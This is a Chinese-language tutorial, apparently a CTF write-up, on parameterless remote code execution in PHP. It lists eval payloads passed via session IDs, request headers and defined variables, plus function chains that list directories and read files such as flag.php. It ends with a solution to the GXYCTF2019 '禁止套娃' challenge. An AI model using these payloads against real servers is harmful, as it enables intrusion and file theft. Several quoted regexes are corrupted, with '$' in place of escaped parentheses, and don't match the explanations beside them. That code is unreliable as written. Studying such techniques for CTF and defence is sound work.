谭谈关于无参数RCE
字数 1541 2025-08-04 00:46:02
无参数RCE技术详解
0x00 前言
无参数RCE(Remote Code Execution)是一种特殊的代码执行技术,它要求在函数调用时不使用任何参数。这种技术常见于CTF比赛和某些安全漏洞利用场景中,当系统对输入参数有严格限制时特别有用。
0x01 无参数RCE基础概念
正则表达式限制
典型的无参数RCE限制条件如下:
if(';' === preg_replace('/[^\W]+$(?R)?$/', '', $_GET['code'])) {
eval($_GET['code']);
}
解释:
preg_replace限制传入的必须是纯小写字母的函数,且不能携带参数(?R)?表示递归整个匹配模式,即匹配无参数的函数,内部可以无限嵌套相同的模式
基本规则
- 允许:
scandir('a()')(无参数) - 禁止:
scandir('123')(有参数)
0x02 无参数RCE实现方法
方法一:利用session_id
原理:
- 通过HTTP头传参,使用
session_id()获取/设置当前会话ID - 需要先调用
session_start()
限制:
- 仅允许字符:a-z A-Z 0-9 , 和 -
- 可使用十六进制传入,再用
hex2bin()转换
Payload:
?code=eval(hex2bin(session_id(session_start())));
示例:hex("phpinfo();")=706870696e666f28293b
方法二:利用get_defined_vars()
原理:
get_defined_vars()返回所有已定义变量组成的数组- 通过GET/POST传入的参数可以被读取
数组操作函数:
end()- 指向最后一个元素next()- 指向下一个元素prev()- 指向上一个元素reset()- 指向第一个元素each()- 返回当前键名和键值current()- 输出当前元素值
Payload:
?code=print_r(current(get_defined_vars()));&b=phpinfo();
?code=eval(end(current(get_defined_vars())));&b=phpinfo();
方法三:利用getallheaders()
原理:
getallheaders()返回当前请求的所有请求头信息- 通过数组操作函数取出并执行
Payload:
?code=eval(next(getallheaders()));
方法四:利用getenv()
原理:
getenv()获取环境变量的值- PHP 7.1+可以不给予参数
限制:
- 不适用于PHP<7.1的版本
方法五:利用scandir()及相关函数
核心函数:
scandir()- 返回指定目录中的文件和目录数组localeconv()- 返回本地数字及货币格式信息数组current()/pos()- 返回数组第一个值getcwd()- 获取当前工作目录dirname()- 返回路径中的目录部分array_flip()- 交换数组键值array_rand()- 随机取出数组单元
组合技巧:
print_r(scandir(dirname(getcwd()))); // 查看上一级目录
print_r(scandir(next(scandir(getcwd())))); // 查看上一级目录文件
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd()))))))); // 读取上级目录文件
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));
print_r(scandir(chr(ord(strrev(crypt(serialize(array()))))))); // 查看根目录文件
if(chdir(chr(ord(strrev(crypt(serialize(array())))))))print_r(scandir(getcwd())); // 查看根目录文件
0x03 实例分析:[GXYCTF2019]禁止套娃
题目源码
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+$(?R)?$/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
@eval($_GET['exp']);
}
else{die("还差一点哦!");}
}
else{die("再好好想想!");}
}
else{die("还想读flag,臭弟弟!");}
}
?>
解题步骤
- 构造当前目录查看:
?exp=print_r(scandir(pos(localeconv())));
localeconv()返回数组,第一个元素是点号(.)pos()/current()获取第一个元素scandir('.')列出当前目录
- 读取flag文件:
?exp=show_source(next(array_reverse(scandir(pos(localeconv())))));
array_reverse()反转数组next()指向第二个元素(flag.php)
0x04 总结
无参数RCE技术要点:
- 理解正则限制条件
- 掌握无参数函数调用链构造
- 熟悉PHP数组操作函数
- 灵活组合目录遍历和文件读取函数
- 利用环境变量和会话机制传参
关键突破点:
- 使用
localeconv()获取点号 - 通过
current()/pos()获取数组第一个元素 - 利用
array_reverse()和next()等函数导航数组 - 使用
session_id()或getallheaders()传参